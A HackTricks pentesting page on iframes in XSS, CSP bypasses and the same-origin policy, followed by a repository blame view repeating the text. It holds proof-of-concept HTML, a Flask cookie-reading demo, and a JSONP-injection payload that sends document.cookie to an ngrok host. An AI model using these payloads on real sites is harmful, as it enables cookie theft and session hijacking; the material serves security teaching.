hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

# Iframes in XSS, CSP and SOP

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>

## Iframes in XSS

There are 3 ways to indicate the content of an iframed page:

* Via `src` indicating an URL (the URL may be cross origin or same origin)
* Via `src` indicating the content using the `data:` protocol
* Via `srcdoc` indicating the content

**Accesing Parent & Child vars**

```html
<html>
  <script>
  var secret = "31337s3cr37t";
  </script>

  <iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if2" src="child.html"></iframe>
  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

  <script>
  function access_children_vars(){
    alert(if1.secret);
    alert(if2.secret);
    alert(if3.secret);
    alert(if4.secret);
  }
  setTimeout(access_children_vars, 3000);
  </script>
</html>
```

```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```

If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
Note how if4 is considered to have `null` origin.

### Iframes with CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>

{% hint style="info" %}
Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
{% endhint %}

The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
Therefore it’s possible to bypass the CSP of a page with:

```html
<html>
<head>
 <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
  <script>
  var secret = "31337s3cr37t";
  </script>
  <iframe id="if1" src="child.html"></iframe>
  <iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```

Note how the **previous CSP only permits the execution of the inline script**.\
However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.

![](<../../.gitbook/assets/image (627) (1) (1).png>)

Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.

You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:

```python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
    resp.headers['Content-Security-Policy'] = "script-src 'self'"
    resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
    return resp

@app.route("/cookie_s.html")
def cookie_s():
    return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
    app.run()
```

### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>

```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```

### Iframe sandbox

The content within an iframe can be subjected to additional restrictions through the use of the `sandbox` attribute. By default, this attribute is not applied, meaning no restrictions are in place.

When utilized, the `sandbox` attribute imposes several limitations:

- The content is treated as if it originates from a unique source.
- Any attempt to submit forms is blocked.
- Execution of scripts is prohibited.
- Access to certain APIs is disabled.
- It prevents links from interacting with other browsing contexts.
- Use of plugins via `<embed>`, `<object>`, `<applet>`, or similar tags is disallowed.
- Navigation of the content's top-level browsing context by the content itself is prevented.
- Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.

The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.

```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```

## Iframes in SOP

Check the following pages:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>
-												GitBook: [#3146] No subject

											
										
										
											2022-04-29 14:01:46 +00:00
+								# Iframes in XSS, CSP and SOP
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
 								<details>
-												a

											
										
										
											2024-02-09 00:38:08 +00:00
+								<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												GitBook: [#3602] No subject

											
										
										
											2022-10-12 23:50:04 +00:00
+								* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 								* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 								* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-												a

											
										
										
											2024-02-08 03:08:28 +00:00
+								* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-												hacktricks twitch

											
										
										
											2022-12-05 22:29:21 +00:00
+								* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
 								</details>
-												GitBook: [#3347] No subject

											
										
										
											2022-08-04 08:54:03 +00:00
+								## Iframes in XSS
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
 								There are 3 ways to indicate the content of an iframed page:
 								* Via `src` indicating an URL (the URL may be cross origin or same origin)
 								* Via `src` indicating the content using the `data:` protocol
 								* Via `srcdoc` indicating the content
-												GitBook: [#3146] No subject

											
										
										
											2022-04-29 14:01:46 +00:00
+								**Accesing Parent & Child vars**
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
 								```html
 								<html>
 								  <script>
 								  var secret = "31337s3cr37t";
 								  </script>
 								  <iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
 								  <iframe id="if2" src="child.html"></iframe>
 								  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
 								  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
 								  <script>
 								  function access_children_vars(){
 								    alert(if1.secret);
 								    alert(if2.secret);
 								    alert(if3.secret);
 								    alert(if4.secret);
 								  }
 								  setTimeout(access_children_vars, 3000);
 								  </script>
 								</html>
 								```
 								```html
 								<!-- content of child.html -->
 								<script>
 								var secret="child secret";
 								alert(parent.secret)
 								</script>
 								```
 								If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
 								Note how if4 is considered to have `null` origin.
-												GitBook: [#3347] No subject

											
										
										
											2022-08-04 08:54:03 +00:00
+								### Iframes with CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
-												GitBook: [#2790] iframes

											
										
										
											2021-10-20 00:55:49 +00:00
+								{% hint style="info" %}
 								Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
 								{% endhint %}
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
+								The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
 								However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
 								Therefore it’s possible to bypass the CSP of a page with:
 								```html
 								<html>
 								<head>
 								 <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
 								</head>
 								  <script>
 								  var secret = "31337s3cr37t";
 								  </script>
 								  <iframe id="if1" src="child.html"></iframe>
 								  <iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
 								  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
 								  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
 								</html>
 								```
 								Note how the **previous CSP only permits the execution of the inline script**.\
 								However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
-												GitBook: [#2917] No subject

											
										
										
											2021-12-24 01:52:37 +00:00
+								![](<../../.gitbook/assets/image (627) (1) (1).png>)
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
 								Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
-												GitBook: [#2790] iframes

											
										
										
											2021-10-20 00:55:49 +00:00
+								You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
 								```python
 								import flask
 								from flask import Flask
 								app = Flask(__name__)
 								@app.route("/")
 								def index():
 								    resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
 								    resp.headers['Content-Security-Policy'] = "script-src 'self'"
 								    resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
 								    return resp
 								@app.route("/cookie_s.html")
-												GitBook: [#2790] iframes

											
										
										
											2021-10-20 00:55:49 +00:00
+								def cookie_s():
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
+								    return "<script>alert(document.cookie)</script>"
 								if __name__ == "__main__":
 								    app.run()
 								```
-												GitBook: [#3347] No subject

											
										
										
											2022-08-04 08:54:03 +00:00
+								### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
 								```html
 								<!-- This one requires the data: scheme to be allowed -->
 								<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
 								<!-- This one injects JS in a jsonp endppoint -->
 								<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
 								<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
 								<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
 								```
-												GitBook: [#3347] No subject

											
										
										
											2022-08-04 08:54:03 +00:00
+								### Iframe sandbox
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
-												a

											
										
										
											2024-02-06 03:10:27 +00:00
+								The content within an iframe can be subjected to additional restrictions through the use of the `sandbox` attribute. By default, this attribute is not applied, meaning no restrictions are in place.
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
-												a

											
										
										
											2024-02-06 03:10:27 +00:00
+								When utilized, the `sandbox` attribute imposes several limitations:
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
-												a

											
										
										
											2024-02-06 03:10:27 +00:00
+								- The content is treated as if it originates from a unique source.
 								- Any attempt to submit forms is blocked.
 								- Execution of scripts is prohibited.
 								- Access to certain APIs is disabled.
 								- It prevents links from interacting with other browsing contexts.
 								- Use of plugins via `<embed>`, `<object>`, `<applet>`, or similar tags is disallowed.
 								- Navigation of the content's top-level browsing context by the content itself is prevented.
 								- Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
-												a

											
										
										
											2024-02-06 03:10:27 +00:00
+								The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
-												GitBook: [#2789] gitbook failing again

											
										
										
											2021-10-20 00:45:58 +00:00
 								```html
 								<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
 								```
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								## Iframes in SOP
-												GitBook: [#3602] No subject

											
										
										
											2022-10-12 23:50:04 +00:00
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								Check the following pages:
-												GitBook: [#3602] No subject

											
										
										
											2022-10-12 23:50:04 +00:00
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
 								[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
 								{% endcontent-ref %}
-												GitBook: [#3602] No subject

											
										
										
											2022-10-12 23:50:04 +00:00
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
 								[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
 								{% endcontent-ref %}
-												GitBook: [#3602] No subject

											
										
										
											2022-10-12 23:50:04 +00:00
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
 								[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
 								{% endcontent-ref %}
-												GitBook: [#3347] No subject

											
										
										
											2022-08-04 08:54:03 +00:00
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
 								[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
 								{% endcontent-ref %}
-												GitBook: [#3347] No subject

											
										
										
											2022-08-04 08:54:03 +00:00
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
+								<details>
-												a

											
										
										
											2024-02-09 00:38:08 +00:00
+								<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												GitBook: [#3602] No subject

											
										
										
											2022-10-12 23:50:04 +00:00
+								* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 								* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 								* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-												a

											
										
										
											2024-02-08 03:08:28 +00:00
+								* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-												hacktricks twitch

											
										
										
											2022-12-05 22:29:21 +00:00
+								* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
 								</details>